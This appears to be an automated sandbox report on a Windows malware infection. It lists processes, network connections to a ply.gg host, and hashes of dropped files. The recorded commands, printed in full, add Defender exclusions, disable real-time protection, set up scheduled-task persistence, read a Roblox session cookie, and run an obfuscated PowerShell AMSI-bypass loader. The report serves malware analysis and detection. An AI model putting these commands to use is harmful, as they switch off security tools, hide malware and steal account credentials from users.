C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc

C:\Windows\system32\taskhostw.exe

taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer

C:\Windows\sysmon.exe

C:\Windows\sysmon.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService

C:\Windows\system32\wbem\unsecapp.exe

C:\Windows\system32\wbem\unsecapp.exe -Embedding

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe

"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service

C:\Windows\system32\SppExtComObj.exe

C:\Windows\system32\SppExtComObj.exe -Embedding

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Users\Admin\AppData\Local\Temp\rootkit.exe

"C:\Users\Admin\AppData\Local\Temp\rootkit.exe"

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe

"C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe"

C:\Users\Admin\AppData\Local\Temp\Modify.exe

"C:\Users\Admin\AppData\Local\Temp\Modify.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\www.DeadSec0000000000-obfusecator.exe'

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /F /TN "www.DeadSec0000000000-obfusecator" /SC ONLOGON /TR "C:\ProgramData\www.DeadSec0000000000-obfusecator.exe" /RL HIGHEST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Modify.exe'

C:\ProgramData\www.DeadSec0000000000-obfusecator.exe

"C:\ProgramData\www.DeadSec0000000000-obfusecator.exe"

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:kxsceEnSyUgi{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$oKvxycCYSSEYlj,[Parameter(Position=1)][Type]$zKpZyREXqB)$kxfeGbzgzYn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+'le'+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+'m'+''+[Char](111)+''+'r'+''+'y'+''+[Char](77)+''+'o'+'d'+[Char](117)+''+'l'+'e',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+''+[Char](84)+''+[Char](121)+'pe',''+'C'+''+[Char](108)+''+[Char](97)+'s'+'s'+','+[Char](80)+''+[Char](117)+'bli'+[Char](99)+','+[Char](83)+'e'+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+'s'+'i'+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$kxfeGbzgzYn.DefineConstructor('R'+'T'+''+'S'+''+'p'+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+'l'+''+[Char](78)+''+'a'+'me'+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$oKvxycCYSSEYlj).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+'i'+[Char](109)+''+[Char](101)+','+[Char](77)+''+'a'+'n'+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');$kxfeGbzgzYn.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+'o'+'k'+[Char](101)+'',''+[Char](80)+'ub'+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+'g'+','+'N'+''+[Char](101)+''+[Char](119)+''+'S'+'l'+[Char](111)+'t'+[Char](44)+''+[Char](86)+'i'+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$zKpZyREXqB,$oKvxycCYSSEYlj).SetImplementationFlags('R'+[Char](117)+'nt'+'i'+''+[Char](109)+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $kxfeGbzgzYn.CreateType();}$wvssbGJNycMKL=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+'r'+'o'+''+[Char](115)+''+[Char](111)+''+'f'+'t'+'.'+''+[Char](87)+'in3'+[Char](50)+'.'+[Char](85)+'nsa'+[Char](102)+''+[Char](101)+''+'N'+''+[Char](97)+''+'t'+'i'+'v'+''+'e'+''+[Char](77)+''+'e'+'tho'+[Char](100)+''+[Char](115)+'');$IWhPuDkvxbwrun=$wvssbGJNycMKL.GetMethod(''+[Char](71)+'e'+[Char](116)+'P'+'r'+'o'+[Char](99)+''+'A'+''+'d'+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+'u'+'b'+''+'l'+''+'i'+''+'c'+''+[Char](44)+''+[Char](83)+''+'t'+''+[Char](97)+''+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$SbJJAzIQkwaQSlpvFdC=kxsceEnSyUgi @([String])([IntPtr]);$OhxkqtpqEqyxdLaatNDEhj=kxsceEnSyUgi @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$mcJshPfBvnF=$wvssbGJNycMKL.GetMethod(''+[Char](71)+'e'+'t'+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'H'+[Char](97)+''+[Char](110)+'d'+[Char](108)+'e').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'')));$kHsafMdFfldtsO=$IWhPuDkvxbwrun.Invoke($Null,@([Object]$mcJshPfBvnF,[Object]('L'+'o'+''+[Char](97)+''+[Char](100)+'L'+[Char](105)+''+[Char](98)+''+'r'+''+[Char](97)+'ry'+[Char](65)+'')));$mcnZdhFuVGxDDxSie=$IWhPuDkvxbwrun.Invoke($Null,@([Object]$mcJshPfBvnF,[Object](''+[Char](86)+''+[Char](105)+'rtualP'+[Char](114)+''+'o'+''+'t'+''+'e'+''+[Char](99)+''+'t'+'')));$VPkiPLe=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kHsafMdFfldtsO,$SbJJAzIQkwaQSlpvFdC).Invoke('am'+'s'+''+[Char](105)+'.'+'d'+''+[Char](108)+''+[Char](108)+'');$VFeHLeApsHTnxUBZm=$IWhPuDkvxbwrun.Invoke($Null,@([Object]$VPkiPLe,[Object](''+'A'+''+[Char](109)+'s'+[Char](105)+''+[Char](83)+'c'+[Char](97)+'n'+'B'+''+[Char](117)+''+'f'+''+'f'+''+[Char](101)+''+[Char](114)+'')));$DXVFlYYdgW=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mcnZdhFuVGxDDxSie,$OhxkqtpqEqyxdLaatNDEhj).Invoke($VFeHLeApsHTnxUBZm,[uint32]8,4,[ref]$DXVFlYYdgW);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$VFeHLeApsHTnxUBZm,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mcnZdhFuVGxDDxSie,$OhxkqtpqEqyxdLaatNDEhj).Invoke($VFeHLeApsHTnxUBZm,[uint32]8,0x20,[ref]$DXVFlYYdgW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+[Char](84)+'W'+[Char](65)+'R'+'E'+'').GetValue(''+'w'+'w'+[Char](119)+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'www.DeadSecObbbfuscation.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" os get Caption

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" computersystem get totalphysicalmemory

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\System32\Wbem\wmic.exe

"wmic" path win32_VideoController get name

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{1dfbf6b2-19b7-432f-a32d-d00bac959d99}

C:\Users\Admin\AppData\Roaming\XClient.exe

C:\Users\Admin\AppData\Roaming\XClient.exe

C:\Users\Admin\AppData\Roaming\XClient.exe

C:\Users\Admin\AppData\Roaming\XClient.exe

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /delete /f /tn "XClient"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB925.tmp.bat""

C:\Windows\system32\timeout.exe

timeout 3

Network

Country Destination Domain Proto
US 8.8.8.8:53 138.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 142.250.200.3:443 gstatic.com tcp
US 8.8.8.8:53 3.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discord.com udp
US 162.159.135.232:443 discord.com tcp
US 8.8.8.8:53 232.135.159.162.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 147.142.123.92.in-addr.arpa udp
US 8.8.8.8:53 quotes-suites.gl.at.ply udp
US 8.8.8.8:53 101.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 quotes-suites.gl.at.ply udp
N/A 127.0.0.1:49403 tcp
US 8.8.8.8:53 quotes-suites.gl.at.ply.gg udp
US 147.185.221.20:49403 quotes-suites.gl.at.ply.gg tcp
US 8.8.8.8:53 20.221.185.147.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 147.185.221.20:49403 quotes-suites.gl.at.ply.gg tcp
US 147.185.221.20:49403 quotes-suites.gl.at.ply.gg tcp
N/A 127.0.0.1:49403 tcp
US 147.185.221.20:49403 quotes-suites.gl.at.ply.gg tcp
N/A 127.0.0.1:49403 tcp
N/A 127.0.0.1:49403 tcp
US 147.185.221.20:49403 quotes-suites.gl.at.ply.gg tcp
US 8.8.8.8:53 11.179.89.13.in-addr.arpa udp

Files

memory/4952-0-0x00007FF9E57C3000-0x00007FF9E57C5000-memory.dmp

memory/4952-1-0x00000000006F0000-0x000000000073A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe

MD5 737b2d60dc5d475685b65f5c288e00c0
SHA1 144ba7647d8609abe4aab74d4f191e2c594dd55a
SHA256 69c3458a319518d10939633f7421eb833c8c9c904f989f0ef75a572a59a1f084
SHA512 96a22774e1b5c22d9d4114a8f22f1f75cf2edc5970442e1b1e5eabfc70a922d3f4a5e5d8c93150f50ef3da45b241745f861f1d00b306c11707097495b84ecee6

memory/708-23-0x0000000000590000-0x00000000005A0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Modify.exe

MD5 9259d8aef8f52e8ff4fa082c0074c9b0
SHA1 88abb68a5632812be3c18e0c740e3818d9501b3e
SHA256 45d4033eeaa6aa420a644c3eb2d0ef659320c9a13e22d1d16930c807847203db
SHA512 9cb06d4026a53208e80865cdb21d79e40d418518a168680537cafa08f1c295094238014ba35c2b7794a773ac2dc480b01cf5811d5b1e60bf911d7a6d03985ede

memory/2964-27-0x000001810CED0000-0x000001810CF10000-memory.dmp

memory/1484-33-0x000002127EE60000-0x000002127EE82000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1truwcfy.hhq.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4952-38-0x00007FF9E57C0000-0x00007FF9E6281000-memory.dmp

memory/2964-39-0x00007FF9E57C0000-0x00007FF9E6281000-memory.dmp

memory/708-40-0x00007FF9E57C0000-0x00007FF9E6281000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\ProgramData\www.DeadSec0000000000-obfusecator.exe

MD5 22d120454dd38d7f1a3f1cd0eb497f95
SHA1 4c11a082bf8e64b21310b959821a9f7324aa8107
SHA256 6fda5bd63e6647c70c7f420b4145898cada9e1a8bff4fca7f6a5859b648d217c
SHA512 1552101b7a22082eb69fe3485c53f595055bfc6db01ed14d4abc6f9cb9793e8ca3bc2f2448741fd8b4616f735c9f4f2e0299dc938d264103107fccbe68dc39a9

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 cadef9abd087803c630df65264a6c81c
SHA1 babbf3636c347c8727c35f3eef2ee643dbcc4bd2
SHA256 cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438
SHA512 7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

memory/708-61-0x00007FF9E57C0000-0x00007FF9E6281000-memory.dmp

memory/4952-65-0x00007FF9E57C0000-0x00007FF9E6281000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 b3c3db201c6e1fc54f0e17762fe03246
SHA1 249bfcef33cdd2d6c13a7cc7c9c1d73905fb51d6
SHA256 6771a83a83da5d6ce23e9cfa5567eb70084dffd51a7c07130ba3379cff78a59f
SHA512 2945c6f4e05b86e161b9753fca74cc9daf76e8ef535cdff0e9d83cca706eabd6e1ca3aba55005b2d16c2023f6604ee6886837336a63f421fa25f73120cfc00a1

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 ef72c47dbfaae0b9b0d09f22ad4afe20
SHA1 5357f66ba69b89440b99d4273b74221670129338
SHA256 692ec20c7039170fb199510f0436181fd155e6b4516d4d1c9e1675adf99aaa7f
SHA512 7514b6bc8dc39fa618223300be27cd535dc35b18c66b4a089e2302e72b3e0cac06d88a989fa1296feb386b3cbe2084019df6430c7f895071b76e04ce559a30b4

memory/2964-90-0x0000018127690000-0x0000018127706000-memory.dmp

memory/2964-91-0x0000018127390000-0x00000181273E0000-memory.dmp

memory/2964-92-0x000001810EC70000-0x000001810EC8E000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6d14ccefeb263594e60b1765e131f7a3
SHA1 4a9ebdc0dff58645406c40b7b140e1b174756721
SHA256 57cd435c8b2bf10a2c77698301789c032e1b6b623ff1420c72e8bca0b10f1e5c
SHA512 2013a26123f72a4106524fd9d7389ac4654f97033d22707efc084fb2a3ad01c298eb64f01bb64861ab603615022dbe7cfc97475346edb16b3ba72e905127f101

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 c1b0a9f26c3e1786191e94e419f1fbf9
SHA1 7f3492f4ec2d93e164f43fe2606b53edcffd8926
SHA256 796649641966f606d7217bb94c5c0a6194eef518815dacc86feacdd78d3c1113
SHA512 fa0290d77372c26a2f14cb9b0002c222bc757ce7ad02516b884c59a1108f42eb4c76884f9edb6c7149f7c3fac917eda99b72a3b1d72b7e118a1d5a73cadd15a8

memory/2964-169-0x000001810ECA0000-0x000001810ECAA000-memory.dmp

memory/2964-170-0x0000018127400000-0x0000018127412000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 07a771c4f31f62b2d04e2befaa36dce7
SHA1 662952ede6c1acbb575e8149a5ac2f08edade811
SHA256 a2df2570980e1123d9af8e12a27a82d3a4d332f0e7dd44e4e225743207c099b3
SHA512 9e339a2d0bfaf5bbe5252f69061652c5880fe1233930830ca7190a65516366e05129907b1656a6790c0093ad82ac73ddee6738d0b78ecb1e3d888f467b889fe9

memory/3876-189-0x000001E0AE900000-0x000001E0AE92A000-memory.dmp

memory/3876-190-0x00007FFA03790000-0x00007FFA03985000-memory.dmp

memory/3876-191-0x00007FFA035E0000-0x00007FFA0369E000-memory.dmp

memory/4012-195-0x0000000140000000-0x0000000140008000-memory.dmp

memory/4012-194-0x0000000140000000-0x0000000140008000-memory.dmp

memory/4012-197-0x0000000140000000-0x0000000140008000-memory.dmp

memory/4012-193-0x0000000140000000-0x0000000140008000-memory.dmp

memory/4012-199-0x00007FFA035E0000-0x00007FFA0369E000-memory.dmp

memory/4012-198-0x00007FFA03790000-0x00007FFA03985000-memory.dmp

memory/4012-192-0x0000000140000000-0x0000000140008000-memory.dmp

memory/4012-201-0x0000000140000000-0x0000000140008000-memory.dmp

memory/672-224-0x00007FF9C3810000-0x00007FF9C3820000-memory.dmp

memory/672-223-0x0000021EDC920000-0x0000021EDC94C000-memory.dmp

memory/960-235-0x00007FF9C3810000-0x00007FF9C3820000-memory.dmp

memory/384-246-0x00007FF9C3810000-0x00007FF9C3820000-memory.dmp

memory/744-250-0x0000020032910000-0x000002003293C000-memory.dmp

memory/384-245-0x000001CBD5E70000-0x000001CBD5E9C000-memory.dmp

memory/384-239-0x000001CBD5E70000-0x000001CBD5E9C000-memory.dmp

memory/960-234-0x0000025ABE2D0000-0x0000025ABE2FC000-memory.dmp

memory/960-228-0x0000025ABE2D0000-0x0000025ABE2FC000-memory.dmp

memory/672-217-0x0000021EDC920000-0x0000021EDC94C000-memory.dmp

memory/612-212-0x000001E6C6330000-0x000001E6C635C000-memory.dmp

memory/612-213-0x00007FF9C3810000-0x00007FF9C3820000-memory.dmp

memory/612-206-0x000001E6C6330000-0x000001E6C635C000-memory.dmp

memory/612-205-0x000001E6C6330000-0x000001E6C635C000-memory.dmp

memory/612-204-0x000001E6C6300000-0x000001E6C6326000-memory.dmp

memory/2964-661-0x00007FF9E57C0000-0x00007FF9E6281000-memory.dmp

memory/2328-891-0x0000000000880000-0x0000000000890000-memory.dmp

memory/708-893-0x00007FF9E57C0000-0x00007FF9E6281000-memory.dmp

memory/708-896-0x00007FF9E57C0000-0x00007FF9E6281000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\XClient.exe.log

MD5 2ff39f6c7249774be85fd60a8f9a245e
SHA1 684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256 e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA512 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

memory/3528-989-0x00000000007F0000-0x0000000000800000-memory.dmp

memory/708-999-0x0000000000D90000-0x0000000000D9C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmpB925.tmp.bat

MD5 0f0730802fbe02b0c4e23e074b889eb5
SHA1 2de01f5f10a945a50720efff41e2f27b77920201
SHA256 150c4a008bfdf28d511fe26a2a39a0fc237b11b2a44a5904077371b4ad745a52
SHA512 924165dc70008655c38378fe5fa28c70a1d2a5b68954734b76714a60f3d420e8e2ce68ceb2b0c237faac626419121016a005bfd34849bfd1709ded27f9e0081a

memory/708-1031-0x00007FF9E57C0000-0x00007FF9E6281000-memory.dmp